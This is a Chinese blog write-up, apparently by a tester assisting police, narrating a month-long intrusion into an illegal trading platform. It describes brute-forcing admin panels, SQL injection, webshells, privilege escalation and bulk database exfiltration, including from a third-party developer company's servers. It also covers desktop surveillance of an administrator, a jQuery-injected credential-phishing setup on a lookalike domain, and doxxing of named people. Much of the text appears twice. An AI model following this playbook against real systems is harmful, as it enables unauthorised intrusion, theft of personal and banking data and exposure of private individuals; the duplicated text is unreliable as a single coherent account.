  第五节 “山重水复疑无路,柳暗花明又一村”——review出的突破口:
  2011年有个著名的高考作文题目——“回到原点”,戏剧性的是我回到原点时发现了新的情况。对的几个子域名进行测试,成功的找到其中一个网站的报错信息,如图 5-1、5-2所示。
  图 5-1 产生报错信息
  图 5-2 发现报错信息中的网址
  通过报错的文件,找到了一个看似不相关的网站:。访问一下看看吧,如图5-3,这个网站看起来很眼熟呀,经过我多次观察,发现这个网站外型是“素颜”版的,但它们二者究竟是什么关系?当我用之前在注册的账号尝试登陆时候,提示错误;通过特殊方法,发现这个网站只有X万左右的账号,而user却有XX万账号的,显然不是一个数据库,但二者关系很紧密,究竟是什么关系?
  
  图 5-3 该网址登录界面
  第六节 误打误撞的战术迂回:
  信息收集:
  /
  会员数量:5****
  爆破成功:***.***.***.84
  爆破成功:-***.***.***.152
  爆破成功:-***.***.140.99
  爆破成功:-***.***.101.151
  爆破成功:-***.***.44.55
  爆破成功:-***.***.44.55
  通过反查该服务器IP,发现有若干网站建设在此服务器。对其中一个网站的后台暴力破解成功进入,然后突破上传拿到webshell,读取administrator的密码连接远程桌面,常规过程不再赘述。
  
  图 6-1 旁站登录界面
  
  图 6-2 提权并连接服务器
  打包带走所有数据:(先森,你越界了,——小编注)
  
  图 6-3 打包数据
  在查找数据的过程中,发现D盘有个大新闻,原来这货(服务器所有者)的服务器上经营了多个类似涉案的网站,targetA只不过是其中的一个,推测 XX多万会员可能只是个幌子,很大几率是从这里面汇总过去的。
  
  图 6-4 发现更多非法网站
  同时发现该web服务器对应的域名里,赫然出现了
  
  图 6-5 曾经的targetA网站配置信息
  综上所述我的结论是,这可能是一台测试开发用途的服务器或者是旧版的网站所用过的服务器。随后打包走所有代码,下载回本地查看。
  
  图 6-6 打包的数据量
  通过本地对代码的分析,发现数据库文件存在于.env里:
  图 6-7 分析数据库配置信息
  由于这是旧的源码,不确定数据库连接信息是否更新过。再次通过技术手段查到以下几个IP可能是的主站:
  
  图 6-8 疑似主站真实IP
  随后尝试down下它们的.env文件,发现其中的个别网站确实能查看:
  
  图 6-9 尝试配置信息取回本地
  图 6-10 主站数据库配置信息
  如出一辙,它们的数据库连接信息都是
  rm-2*****************
  和刚才的 开发测试服务器 上发现的数据库实例只有一个字母的差别(两个域名皆指向同一台数据库,但分别是数据库的公网、内网IP),当我尝试连接这个rds时,提示错误。通过ping发现是一个内网IP。
  图 6-11 发现是数据库为内网地址
  尝试连接 rm-2********** 时候,直接提示“你的IP不在白名单内”(就连当前 这个开发服务器 也提示不在白名单内),顿时心情好似在下雪,前面大风大浪我都走过来了,难道就这么输了?
  答案是不可能的。和一位搞安全的朋友C吐槽了这番窘状,毕竟前面工作已经进展了一大半,况且目标网站的大部分源码已经到手了。原本又要增加N天的工作量的代码审计,在朋友随后的“发我源码”中完美解决,一杯咖啡的工夫,他发现了一个明显的SQL注入:
  
  图 6-12 挖出注入漏洞
  Where字符拼接导致的注入:位于交易系统pul.*****(之前是,后为逃避有关部门打击改成了pul.*****)中的cookie里,就在此前我发现存在越权漏洞的位置。当时脑子短路了,只想到那是个越权,却忘记了那里的key也是带入到数据库进行查询的。
  朋友C用手工注入的方式,发现密文位数很高,翻看代码时候发现是bcrypt函数加密的
  
  图 6-13 加密函数
  随后我俩心照不宣的进行了分工,简单写了两个脚本:
  图 6-14 盲注脚本
  
  图 6-15 bcrypt爆破脚本
  以下是朋友用盲注脚本跑出的,可见密文是多么高级,只能采用爆破的方式:
  $2y$10$Q8j***************************************fVHORkhGXO
  $2y$10$0B*************************************UserKd3ysBWizW.
  $2y$10$Oo1***********************************O4VaOnV5FDCrO
  $2y$10$dV**************************************jDn508IHUuOTq
  $2y$10$H***********************************UESOecqSEhOXj.35u
  爆破字典是破解密码的关键,不讲套路的爆破都是耍流氓!通过这一个月来收集的信息,整合了所有已知的涉案关键字,定制了几十万行的密码字典,并且购买了性能很高的VPS进行碰撞,一夜之后碰撞结果出来了:
  第七节 你好,久违的后台:
  通过技术手段找到pul.*****的后台,打开后发现居然和前面这个测试开发服务器上的某个网站的后台外型上完全一样,利用爆破出的账号密码进入后台,相同的方法getshell。
  
  图 7-1 交易系统的后台
  
  图 7-2 拿到交易系统的webshell
  这里插一句,测试开发服务器上的某个网站的后台和pul.*****的后台系统代码完全一致,可以推断出pul.*****的后台就是被测试服务器的所有者开发的(即,targetC的公司,后面专门分析该公司)。
  拿下这个网站后,我确定这个服务器的IP位于targetA数据库的白名单内,随后上传转发脚本,准备导出数据。进程不是想象中那么愉快,中间遇到导出速度慢至几十Kb或者出现失去响应等情况,没办法只能换别的思路(后期整理思路时候,想起来其实完全可以用mysqldump来脱数据,只是当局者迷忘记这个操作了)。
  这时候我想起了**.**.117.220(这个IP是的后台所在的服务器)。对该服务器进行端口扫描后,发现额外还有个83端口,访问后,后台风格和刚才那个完全一致,利用破译出来的密码成功登陆并且getshell和服务器最高权限。
  
  图 7-3 主站的后台
  由于是windows系统并且发现管理员的session深夜还在线,不敢鲁莽行事,给administrator账号植入了一个“屏幕查看”工具用以监控桌面:
  图 7-4 监控管理员桌面
  原来是手工记账,大半夜还在工作,都是打工的不容易啊。监控管理员到1点左右,抓取登录密码、连接远程桌面、上传数据库导出软件,一气呵成。好家伙,两个数据库导出文件三个多G,强行压缩到300M;而且发现服务器上网站挺多,一样打包带走,两个多G强行压缩到1个G带走:
  图 7-5 目标targetA的系列网站
  
  图 7-6 打包后的数据量
  至此完成主线所有任务。
  第八节 太公钓鱼:
  猥琐思路,劫持后台登录密码。考虑到后台那几个管理员账号的明文密码我拿到而且密码强度又太高,就算超级计算机也不一定完全无法碰撞开,怎么办?坐等收网审讯交代密码,不如来个姜太公钓鱼,让他把密码“送”给我~
  首先,购置一台VPS并注册了一个高仿的域名*****。
  图 8-1 注册高仿域名
  其次,防止被发现,我将其他的子域名做了cname解析,除了www以外,其他二级域皆重定向到真正的平台。
  再次,通过观察网站后台的前端代码,发现调用了jQuery,那我就篡改jQuery的代码,在加载js文件的同时加载我的后门:
  图 8-2 观察前端代码
  图 8-3 植入前端钓鱼代码
  最后,利用网上公开的JavaScript劫持表单的代码进行了二次修改,加之有关部门落查IP还需要端口号和在线时间等信息,最后简单写了一个PHP后端接收的代码:
  
  图 8-4 后端接收代码
  没有等太久,第二天一大早鱼儿咬钩了:
  图 8-5 鱼儿上钩了
  系统超级管理员Admin的明文密码里包含字母、数字和字符,强度很高,丢到后台查询了,明文和后台密文完全一致,打完收工~
  第九节 整理思路:
  写的比较乱,我再重新整理下思路:
  1、 平台存在很小的越权漏洞、后台账号存在弱口令,前期通过这些漏洞获取了部分数据用于立案侦察;
  2、为了拿到权限,扩大战果。全网搜集有关targetA的资料,成功找到companyA开发的一款名为“targetB”的APP,经过分析得知是targetA的手机端交易、聊天APP,以为跟主站是一个数据库,随后查到开发公司并入侵之,拿到targetB的数据库;
  3、虽然有所战果,但并不是最终目的,重整思路。经过测试后发现目标分站的程序报错,其中有个看似不相关的网址targetC,引起了我的注意【突破口】;
  4、经过分析调研,发现这个网站可能是targetA早期的平台,随后通过技术手段拿到targetC的服务器权限,成功获取了平台的开发源码,也得知了这可能是targetA网站的开发服务器;
  5、审计代码找到漏洞,一举拿下targetA(*****)平台的多个网站,又成功获取到其中一台服务器的权限,进入服务器打包走代码和数据,完成取证任务。
  6、通过劫持后台的方式获取所有管理员的明文账号密码等,成功获取所有管理员的信息。
  过程比较曲折,有种三起三落的感觉,好在最终不辱使命。从战术上来讲,针对targetA平台,先是全面战争,再是收缩战线,最后逐一击破。最重要的还是信息收集这个环节。前期收集的信息足够多,后续收缩战线时候才能发挥到极致,比如组合字典那环节。通过最后几天的渗透摸排,得出大概如下架构:
  
  大约6台WEB服务器,两台MySQL数据库,其中94是阿里数据库实例。
  第十节 手工仿真数据库及证据链分析
  想必作为公众号 信息时代的犯罪侦查 常年只看、不打赏还总白嫖的老看官,众所周知关于计算机取证方面最重要的要素之一就是完整性,因此先森取证时候并未直接down回元数据而是采取了数据库镜像的方式来保证这一点。那么问题随之而来了,后期如何在保证数据在不被修改的情况下将取回的数据库本地还原起来呢?其实这个过程操作的主要要点跟操作系统方面仿真一样,无非是架设起来环境和修改密码。
  一、确定MySQL版本号。
  原始数据库的环境是运行在Linux下的,先森比较懒惰,处于方便操作及安装调试方面的考虑,选择在Windows Server2008上还原数据库。将解压完的数据库镜像文件夹重命名为DATA,案例中是在xtrabackup_info文件夹中找到的数据库版本信息,如图 10-1所示。
  
  实在找不到版本号的情况下可以选择在要取证的服务器上输入mysql –v来查看或者根据建库时间来推数据库的版本。
  打开Oracle公司旗下的MySQL的历史版本发布网站 (由于众所周知的原因,访问外文网站可能较慢, 建议在不违反法律的情况下使用Proxy进行下载),根据需求选择合适的版本下载。
  
  二、配置数据库并复制数据。
  由于我们下载的MySQL是“绿色版”,因此需要对其进行简单的配置来确保数据库能够运行起来。将程序根目录的my-default.ini重命名为my.ini,接着按照注释内容指定好路径即可。这里我并未将存放元数据的文件夹放入到MySQL根路径下,有强迫症的朋友还原数据库的时候可以覆盖过去,最主要就是my.ini中的路径一定要配置正确。 参考图 10 -2
  
  三、安全模式启动数据库并手动修改密码。
  打开命令行并跳转到MySQL的bin目录下,执行命令“mysqld.exe --skip-grant-tables”,意思是启动数据库时跳过权限表,类似我们Linux取证时候的单用户模式。
  
  这时候MySQL的进程就自动进入后台了,接着在终端下启动新的进程mysql.exe,执行命令“mysql.exe –uroot –p”进入到数据库中。在终端中输入”show databases;”来确认数据库还原情况,通过下图可以看到数据库已还原起来。
  
  最后在MySQL中执行修改密码命令” update user set password=password('root') where user='root';”,下次登录数据库时候就可以使用该密码登录了,启动MySQL时去掉--skip-grant-tables参数即可,或者将其加入到服务中,跟随系统启动。
  
  下次登录MySQL时候只需要使用“mysql.exe –uroot -p”,在接下来的提示符中输入密码root即可登录进数据库。
  关于本案的证据链关联方面的分析:
  (以下内容太多涉及到涉案关键字,已作出大量删减,因影响阅读,请各位谅解)
  测试开发服务器的所有者隶属于 companyB 公司:
  
  而早期侦察的结果是,的开发是 “companyC”提供的,而这个“companyC”又是隶属于 company 的。网站代码里曾经多次出现过有关“companyC”的注释、链接等。
  targetB的线索:
  ********的公司的法人曾是 S某,后经过变更改为 L某。
  通过检索发现,S某 还有一家名为 “companyD”的公司,同样跟targetA有千丝万缕的联系。
  其次 S某 的手机号曾经出现在 张** 的录制视频里,我们有理由相信他们是认识的,甚至可能是合作关系或者同事关系。
  其中民警通过内网系统的反馈,尾号为2227的手机号机主就是S某。
  综合所有线索,大胆推测:targetA的开发者是 companyB,除了已有的线索外,他公司还有一个特点就是专门开发与涉案相关的产品,甚至有可能还是幕后推手;后来targetA为了壮大规模,推出了一款名为“targetB”的APP,开发者是来自**(某地区)的companyA公司。根据两个月提取的数据库日志来看,后台管理员活跃的几个地点如下:北京、山东、江苏;其中targetA的后台管理员活跃地为江苏,targetB的则是山东和北京。
  是为结局。
  【编者注】文中提到所有的企业,如天眼查,本号没有收取他们任何费用支持,特此声明。 查看全部

  【10步】完成一个十亿大案的电子数据取证
  写在前面的话
  这可能是已身坚志残的先森归隐之作,经历了某省有关XX招录政策各种变,对打击网络犯罪和维护网络安全的相关领域技能人才的不够重视。满腔热血就这么凝固,因此这段时间也消沉了很多,但即使如此,屠龙少年仍会不忘初心,始终以打击恶龙为己任!
  同时这也是一篇无奈的求职信,祈求有关XX中的伯乐能够慧眼识马,以管用有效的政策和公平公正地考察方式来检验相关应试人员的【技能和实力】,实现像先森这样一片赤诚为国奉献的年轻人的理想。
  这里要 感谢 前段时间在有关XX实习时朝夕相处的同事们及 提供有关XX实习机会的领导 、案例中某单位的几位朋友 和 后续提供技术支持的朋友C、 公众号信息时代的犯罪侦查等朋友们给予的机会和肯定。
  下面是正文,一改前期,以严肃、简练的文笔纪实了先森同学几年前协助有关XX侦破某案件。长达一个月的渗透和半个月的取证,期间并未截图且后期网站为躲避打击而做了迁移和改变,以下截图为后补的,信息可能有很多地方对不上的,望各位海涵。
  原涉案网址:,后改为*****
  
  第0节 信息收集
  本次行动旨在响应净网行动,打击违法网站,营造和谐社会。前期某单位民警通过线索发现辖区内有公民参与到涉案网站,并已对其立案侦查,现需要对整个涉案网站进行分析、取证。
  前期通过威胁情报平台和子域名爆破等方式拿到该网址的几个公开的子域名。
  子域名收集:
  ThinkPHP框架
  ……
  通过查询域名历史持有者拿到如下信息:
  域名持有者信息:
  注册者** (相关域名 1 个)
  注册机构*************************************
  邮箱********@ (相关域名 0 个)
  电话+86.***********
  电话: ***********
  注册者: **** *****
  邮箱: **********@
  注册账号后,进入用普通用户的后台。左侧一共四栏选择框,前两栏为功能模块;下一栏跳转到交易系统,最后一栏是宣传照。通过查看Cookie的信息,发现该网站有阿里云的防护,即使发现网站有漏洞也无法正面利用,如图 0-1所示。
  
  图 0-1 查看Cookies内容
  在交易系统中发现可以浏览任意用户的信息。通过对Cookie的观察,发现是基于Thinkphp框架的,而且该系统中用户的ID出现在Cookie里,猜测可能存在平行越权,随后对ID进行篡改并测试。如图 0-2、0-3所示。
  
  图 0-2 修改前内容
  
  图 0-3 修改后内容
  进一步利用该漏洞,抓取更多信息。通过对网站上的JS文件的分析,找到一个未作安全校验的API接口。这样的话,结合Cookie欺骗和越权便可以抓取一部分会员的银行卡信息。如图 0-4所示。
  
  图 0-4 银行卡接口
  抓取了几个高层的信息后,发现数据似乎不全,隐约感觉到pul、user这两个网站的数据库中相关用户表的数据是彼此独立且存在一定关联的。由于该系统是基于thinkphp的框架,顺便利用其特性收集了路径信息:
  E:\website\\ThinkPHP\Library\Think\View.class.php
  E:\website\JIAOYIHOUTAI\vendor\laravel\framework\src\Illuminate\Routing\Router.php
  作者注:后来(迁移到*****后)为
  /pro_env/data/wwwroot//ThinkPHP/Library/Think/Dispatcher.class.php
  第1节后台!后台!后台!
  找到交易系统的后台并成功登录。在用户交易系统的网址后随手加上了/admin,没想到真的跳转到了管理后台。当访问 /admin 时,服务器自动进行了302跳转至x.x..x.220:81。(以下为保存到本地的网页,css样式表有问题导致网页异常)如图1 -1所示。
  
  图 1-1 后台登录页面
  利用字典爆破该后台,成功进入后台。如图 1-2、1-3、1-4所示。
  
  图 1-2 后台1
  
  图 1-3 后台2
  
  图 1-4 后台3
  通过与网安民警的交谈,需要进一步获取账户的具体信息。如图 1-5所示。
  
  图 1-5 汇报情况
  随后我用Python写了几个小脚本,通过遍历id的方式对网页进行抓取,为了方式流量过大引起不必要的麻烦,我写了一个单线程、随机延时的爬虫。如图 1-6所示。
  
  图 1-6 爬虫脚本
  通过脚本爬取并处理数据。经过一段时间的爬取,拿到了TOP5000账户的若干信息;为了直观和方便查看又写了一个处理脚本,将网页处理成表格。如图 1-7所示。
  
  图 1-7 处理后数据
  数据虽然已经够分析研判,但为了能出色的完成这桩案件、震慑违法犯罪的行为,咱主线任务还是要拿到权限,继续扩大战果。
  第2节 这才是真正的开始
  此章节属于广义社工环节,通过Google搜索,找到一些相关的宣传资料,并发现新目标:
  通过分析研判,发现一家叫做“companyA”的公司跟targetA有高度关联。如图 2-1所示。
  
  图 2-1 网站截图
  继续对该域名信息进行收集
  m*********:
  注册者************************************* (相关域名 1 个)
  注册机构***************************************
  邮箱*******@ (相关域名 1 个)
  电话+86.************
  子域名收集:
  ***shop. (***shop .m*********)
  admin. (admin.m*********)
  download. (download.m*********)
  *********
  下载并分析名为“targetB”的APP。根据QQ群的聊天记录以及其官网的宣传资料分析,发现“targetB”是一款集成targetA充值、交易于一身的半社交型App,找到官方下载入口后,将该app下载到本地。如图 2-2所示。
  图 2-2 APP下载入口
  逆向、提取并测试API接口。本来想安装到手机上分析,发现app已经无法登陆,随后对APP进行逆向分析,提取了其API接口,如图 2-3所示。
  图 2-3 API接口列表
  接口盲测试,发现SQL注入。因为无法APP已无法登录,所以只能对这些接口盲测试。皇天不负有心人,终于在一个接口中发现了注入。如图 2-4所示。
  
  图 2-4 测试注入
  通过ThinkPHP的调试功能拿到数据库密码。注入其实算不了什么,真正有用的是数据库密码:由于“targetB”的网站是基于thinkphp的,而且还开启了Debug功能,所以轻松拿数据库密码。如图 2-5所示。
  
  图 2-5 报错信息中含数据库密码
  将数据库的连接信息,填入数据库管理程序上,发现竟然无法连接。查了很久的资料才知道是阿里云数据库开启了安全策略,非白名单的IP是不能连接到该数据库。没办法,只能通过sql注入去获取数据了。利用报错注入获取数据,拿到的数据如图2-6、图 2-7所示。
  图 2-6 注入出的账号数据
  
  图 2-7 注入出的银行卡数据
  最后借助SQL注入构造查询语句,拿到targetB数据库大致的结构。此时虽然拿到了targetB的部分数据,但始终是没有拿到真正意义上的权限——Webshell。
  第三节曲折而又失败的入侵
  通过对网站的分析,发现该服务器上还有shop、download、***shop等网站应用,那么他们就极大可能性连接到这个数据库。通过渗透它们来拿到网站权限再以此为跳板操作数据库,岂不是可以真正的获取数据库了吗?接着利用SQLI跨库读取到 targetB 和 shop两个系统的后台账号。
  当我准备进入targetB后台时候(*********/admin),发现用户名密码明明都对上了,但一直在提示重新登陆,我一度怀疑这是假后台。一番折腾后,我猜测后台虽然是连接到了数据库,但不知道出于什么原因,后台废了,或者有其他的入口。
  如此一来只能尝试从shop这系统入手了。在登陆成功后,发现是基于开源ecshop系统且后台功能被严重阉割,根本无法上传或写入后门。到嘴边的肥肉了,就这么眼睁睁的放走?不可能的。通过对后台几个简陋的功能的分析,利用 kindeditor的列目录漏洞获取部分信息,如图 3-1所示。
  Payload如下:
  
  图 3-1 利用列目录漏洞
  只找到几个时间很久的网站压缩包,没什么用,至此思路中断。
  我们回到targetB数据库这条线上,世界上最遥远的距离不是你在天涯我在海角,而是我有你数据库的钥匙却被防火墙拦截了。有人说过,没有环境就自己创造环境;既然需要白名单,那我就迂回包抄,搞一个在白名单内的服务器。
  第四节钟馗抓鬼,定位开发者公司和白名单之旅
  巧用ThinkPHP特性,收集信息并进行广义社工。前面提到targetB是基于ThinkPHP的,我利用Debug日志文件对信息再次收集,其原理是网站在开启Debug功能后,访问runtime/log/20**/01/01.log 形式的文件,可以看到到该网站的访问日志、错误日志以及提交信息等。通过遍历所有的日志文件发现,里面有部分手机号,并且发现早期的网站路径并非当前的/alidata/www/app/index.php(该路径同样来源于框架报错页面),说明早期的那个路径可能是开发者的环境或者说是最早的网站环境。
  抱着手机号可能是开发者的想法,我想到一个追踪思路:查找最早的日志=>提取注册的手机号等信息=>定位开发者。根据日志里留存的信息整理出的结果,如图 4-1所示。
  图 4-1 社工出的信息
  一、 支线,简单的社会工程学
  看到上面的图片,你可以会有一些疑问,谁是“张**”、为什么多次提到某地区。所以还有个支线要提及,那就是发现targetB之前我还在 【腾讯视频】 发现了其他的视频宣传资料。如图 4-2所示。
  图 4-2 腾讯视频上的宣传信息
  其中一个名为“userA”的用户引起了我的注意,他是最早上传targetA相关的宣传视频,该视频既是全网独一无二的,又是高端大气上档次。以下为他录制的targetA视频的截图,如图 4-3、4-4所示。
  图 4-3 视频截图1
  
  图 4-4 视频截图2
  视频里他自称为“胖仔”,最早的发布时间是20**年*月,视频中对网站的各个功能熟练程度不逊于开发者而非使用者。而且更让我对他特别关注的另外一个原因则是,在“targetA*****流程”的录制视频中,他所访问的targetA网站 和目前我侦察的网站外观和功能上完全不一致,我推测是早期的网站(该平台的外观见上面的录制视频截图 图4-3),那什么人能接触到这个早期的平台呢?
  
  图 4-5 上传者主页
  通过对腾讯视频上的用户“userA”的分析,我整理出以下信息:
  
  图 4-6 社工上传者信息
  我想,分析到这里,是不是对这位小胖的身份有所领悟?他大学时期的所学专业是传媒学,而且腾讯视频上的宣传视频的上传用户也是他。这就说明他是targetA平台的一名核心人员或者是开发人员/视频后期制作人员 (这个结论其实是来自后来对“targetB”公司的分析)。分线交待完毕,回到主线:
  二、 定位开发者公司:
  利用targetB数据和搜索引擎,交叉关联并深挖开发者。主线上的分析并没有凸显出他们跟“companyA”公司有关联,那我是怎么挖出来他的呢?将日志里的几十个手机号放入到 targetB数据中进行交叉关联,发现有几个手机号均注册了targetB(此处分析见上面主线里的图片)。接着分别对这些手机号进行人肉搜索,发现手机号*******2126且targetB里实名用户“武*”的联系方式赫然出现在网络上,看来是开发团队的领导。如图 4-7所示。
  
  图 4-7 搜索开发者手机号
  我们再次重温一下targetB数据:
  
  图 4-8 重温targetB数据
  第一个注册的用户竟然是武*(起始id为**00),这说明了武*很有可能掌握targetB的重要信息,况且又是一个公司中开发团队的领导。几个线索一关联,随后定位到这个“companyA”。
  既然APP是“companyA”团队开发的,处于方便维护targetB网站原因,说不定他的服务器能连接到targetB的数据库呢。抱着这个念头,我掉转枪口准备怼companyA。
  三、 交出白名单:
  常规手段入侵“companyA”。通过信息收集,找到放置“targetB”网站的服务器,反向查询得到所有解析到该IP的域名。发现大多数网站都是基于thinkphp开发的,看来程序猿是严重依赖该框架的。俗话说捡软柿子捏,这次继续通过框架的报错特性拿到数据库连接信息和当前网站的路径。由于这次MySQL开启了外联功能,可以连接到数据库且是root权限的。利用mysql的导出功能给网站目录导出了一个WebShell,如图4-9所示。
  
  图 4-9 获取webshell
  顺手提取了administrator的密码,成功连接到远程桌面:
  
  图 4-10 提权服务器并连接
  咱们这次不能白来,果然可以连接到targetB数据库,如图 4-11、4-12所示。
  图 4-11 利用客户端连接数据库
  
  图 4-12 成功连接到数据库
  考虑到远程桌面打包起来过于麻烦且会留下大量痕迹,索性在webshell下导出所有数据
  
  图 4-13 webshell下导出数据库
  随后通过特殊办法分批将数据传输出去,如图 4-14
  
  图 4-14
  
  图 4-15 整理归类
  意料之外的战果,通过日志发现了“targetB”的后台:原来真正的后台是/****-admin,上次的后台/admin是废掉的。如图 4-16所示。
  图 4-16 targetB后台系统1
  图 4-17 targetB后台系统2
  这个后台对于我来说已经没什么用了,反正数据库权限已经拿到了。至此完成了对“targetB”的数据库取证,同时值得一提的是这个APP还收集用户的GPS信息,所以根据“心中有剑,落叶飞花,皆是兵器”这个思路可以将此数据用于后续对主要犯罪嫌疑人的定位。此时我的心情就好像从雨夜到了多云,本来可以开心的,但任务并不是拿下targetB,而是拿下这个交易平台的,毕竟 targetB并非直连到targetA数据库,简单讲targetB在法律上不能作为证据。这点东西远远不够,甚至可以说“跑题”了,一时陷入了僵局……
  第五节 “山重水复疑无路,柳暗花明又一村”——review出的突破口:
  2011年有个著名的高考作文题目——“回到原点”,戏剧性的是我回到原点时发现了新的情况。对的几个子域名进行测试,成功的找到其中一个网站的报错信息,如图 5-1、5-2所示。
  图 5-1 产生报错信息
  图 5-2 发现报错信息中的网址
  通过报错的文件,找到了一个看似不相关的网站:。访问一下看看吧,如图5-3,这个网站看起来很眼熟呀,经过我多次观察,发现这个网站外型是“素颜”版的,但它们二者究竟是什么关系?当我用之前在注册的账号尝试登陆时候,提示错误;通过特殊方法,发现这个网站只有X万左右的账号,而user却有XX万账号的,显然不是一个数据库,但二者关系很紧密,究竟是什么关系?
  
  图 5-3 该网址登录界面
  第六节 误打误撞的战术迂回:
  信息收集:
  /
  会员数量:5****
  爆破成功:***.***.***.84
  爆破成功:-***.***.***.152
  爆破成功:-***.***.140.99
  爆破成功:-***.***.101.151
  爆破成功:-***.***.44.55
  爆破成功:-***.***.44.55
  通过反查该服务器IP,发现有若干网站建设在此服务器。对其中一个网站的后台暴力破解成功进入,然后突破上传拿到webshell,读取administrator的密码连接远程桌面,常规过程不再赘述。
  
  图 6-1 旁站登录界面
  
  图 6-2 提权并连接服务器
  打包带走所有数据:(先森,你越界了,——小编注)
  
  图 6-3 打包数据
  在查找数据的过程中,发现D盘有个大新闻,原来这货(服务器所有者)的服务器上经营了多个类似涉案的网站,targetA只不过是其中的一个,推测 XX多万会员可能只是个幌子,很大几率是从这里面汇总过去的。
  
  图 6-4 发现更多非法网站
  同时发现该web服务器对应的域名里,赫然出现了
  
  图 6-5 曾经的targetA网站配置信息
  综上所述我的结论是,这可能是一台测试开发用途的服务器或者是旧版的网站所用过的服务器。随后打包走所有代码,下载回本地查看。
  
  图 6-6 打包的数据量
  通过本地对代码的分析,发现数据库文件存在于.env里:
  图 6-7 分析数据库配置信息
  由于这是旧的源码,不确定数据库连接信息是否更新过。再次通过技术手段查到以下几个IP可能是的主站:
  
  图 6-8 疑似主站真实IP
  随后尝试down下它们的.env文件,发现其中的个别网站确实能查看:
  
  图 6-9 尝试配置信息取回本地
  图 6-10 主站数据库配置信息
  如出一辙,它们的数据库连接信息都是
  rm-2*****************
  和刚才的 开发测试服务器 上发现的数据库实例只有一个字母的差别(两个域名皆指向同一台数据库,但分别是数据库的公网、内网IP),当我尝试连接这个rds时,提示错误。通过ping发现是一个内网IP。
  图 6-11 发现是数据库为内网地址
  尝试连接 rm-2********** 时候,直接提示“你的IP不在白名单内”(就连当前 这个开发服务器 也提示不在白名单内),顿时心情好似在下雪,前面大风大浪我都走过来了,难道就这么输了?
  答案是不可能的。和一位搞安全的朋友C吐槽了这番窘状,毕竟前面工作已经进展了一大半,况且目标网站的大部分源码已经到手了。原本又要增加N天的工作量的代码审计,在朋友随后的“发我源码”中完美解决,一杯咖啡的工夫,他发现了一个明显的SQL注入:
  
  图 6-12 挖出注入漏洞
  Where字符拼接导致的注入:位于交易系统pul.*****(之前是,后为逃避有关部门打击改成了pul.*****)中的cookie里,就在此前我发现存在越权漏洞的位置。当时脑子短路了,只想到那是个越权,却忘记了那里的key也是带入到数据库进行查询的。
  朋友C用手工注入的方式,发现密文位数很高,翻看代码时候发现是bcrypt函数加密的
  
  图 6-13 加密函数
  随后我俩心照不宣的进行了分工,简单写了两个脚本:
  图 6-14 盲注脚本
  
  图 6-15 bcrypt爆破脚本
  以下是朋友用盲注脚本跑出的,可见密文是多么高级,只能采用爆破的方式:
  $2y$10$Q8j***************************************fVHORkhGXO
  $2y$10$0B*************************************UserKd3ysBWizW.
  $2y$10$Oo1***********************************O4VaOnV5FDCrO
  $2y$10$dV**************************************jDn508IHUuOTq
  $2y$10$H***********************************UESOecqSEhOXj.35u
  爆破字典是破解密码的关键,不讲套路的爆破都是耍流氓!通过这一个月来收集的信息,整合了所有已知的涉案关键字,定制了几十万行的密码字典,并且购买了性能很高的VPS进行碰撞,一夜之后碰撞结果出来了:
  第七节 你好,久违的后台:
  通过技术手段找到pul.*****的后台,打开后发现居然和前面这个测试开发服务器上的某个网站的后台外型上完全一样,利用爆破出的账号密码进入后台,相同的方法getshell。
  
  图 7-1 交易系统的后台
  
  图 7-2 拿到交易系统的webshell
  这里插一句,测试开发服务器上的某个网站的后台和pul.*****的后台系统代码完全一致,可以推断出pul.*****的后台就是被测试服务器的所有者开发的(即,targetC的公司,后面专门分析该公司)。
  拿下这个网站后,我确定这个服务器的IP位于targetA数据库的白名单内,随后上传转发脚本,准备导出数据。进程不是想象中那么愉快,中间遇到导出速度慢至几十Kb或者出现失去响应等情况,没办法只能换别的思路(后期整理思路时候,想起来其实完全可以用mysqldump来脱数据,只是当局者迷忘记这个操作了)。
  这时候我想起了**.**.117.220(这个IP是的后台所在的服务器)。对该服务器进行端口扫描后,发现额外还有个83端口,访问后,后台风格和刚才那个完全一致,利用破译出来的密码成功登陆并且getshell和服务器最高权限。
  
  图 7-3 主站的后台
  由于是windows系统并且发现管理员的session深夜还在线,不敢鲁莽行事,给administrator账号植入了一个“屏幕查看”工具用以监控桌面:
  图 7-4 监控管理员桌面
  原来是手工记账,大半夜还在工作,都是打工的不容易啊。监控管理员到1点左右,抓取登录密码、连接远程桌面、上传数据库导出软件,一气呵成。好家伙,两个数据库导出文件三个多G,强行压缩到300M;而且发现服务器上网站挺多,一样打包带走,两个多G强行压缩到1个G带走:
  图 7-5 目标targetA的系列网站
  
  图 7-6 打包后的数据量
  至此完成主线所有任务。
  第八节 太公钓鱼:
  猥琐思路,劫持后台登录密码。考虑到后台那几个管理员账号的明文密码我拿到而且密码强度又太高,就算超级计算机也不一定完全无法碰撞开,怎么办?坐等收网审讯交代密码,不如来个姜太公钓鱼,让他把密码“送”给我~
  首先,购置一台VPS并注册了一个高仿的域名*****。
  图 8-1 注册高仿域名
  其次,防止被发现,我将其他的子域名做了cname解析,除了www以外,其他二级域皆重定向到真正的平台。
  再次,通过观察网站后台的前端代码,发现调用了jQuery,那我就篡改jQuery的代码,在加载js文件的同时加载我的后门:
  图 8-2 观察前端代码
  图 8-3 植入前端钓鱼代码
  最后,利用网上公开的JavaScript劫持表单的代码进行了二次修改,加之有关部门落查IP还需要端口号和在线时间等信息,最后简单写了一个PHP后端接收的代码:
  
  图 8-4 后端接收代码
  没有等太久,第二天一大早鱼儿咬钩了:
  图 8-5 鱼儿上钩了
  系统超级管理员Admin的明文密码里包含字母、数字和字符,强度很高,丢到后台查询了,明文和后台密文完全一致,打完收工~
  第九节 整理思路:
  写的比较乱,我再重新整理下思路:
  1、 平台存在很小的越权漏洞、后台账号存在弱口令,前期通过这些漏洞获取了部分数据用于立案侦察;
  2、为了拿到权限,扩大战果。全网搜集有关targetA的资料,成功找到companyA开发的一款名为“targetB”的APP,经过分析得知是targetA的手机端交易、聊天APP,以为跟主站是一个数据库,随后查到开发公司并入侵之,拿到targetB的数据库;
  3、虽然有所战果,但并不是最终目的,重整思路。经过测试后发现目标分站的程序报错,其中有个看似不相关的网址targetC,引起了我的注意【突破口】;
  4、经过分析调研,发现这个网站可能是targetA早期的平台,随后通过技术手段拿到targetC的服务器权限,成功获取了平台的开发源码,也得知了这可能是targetA网站的开发服务器;
  5、审计代码找到漏洞,一举拿下targetA(*****)平台的多个网站,又成功获取到其中一台服务器的权限,进入服务器打包走代码和数据,完成取证任务。
  6、通过劫持后台的方式获取所有管理员的明文账号密码等,成功获取所有管理员的信息。
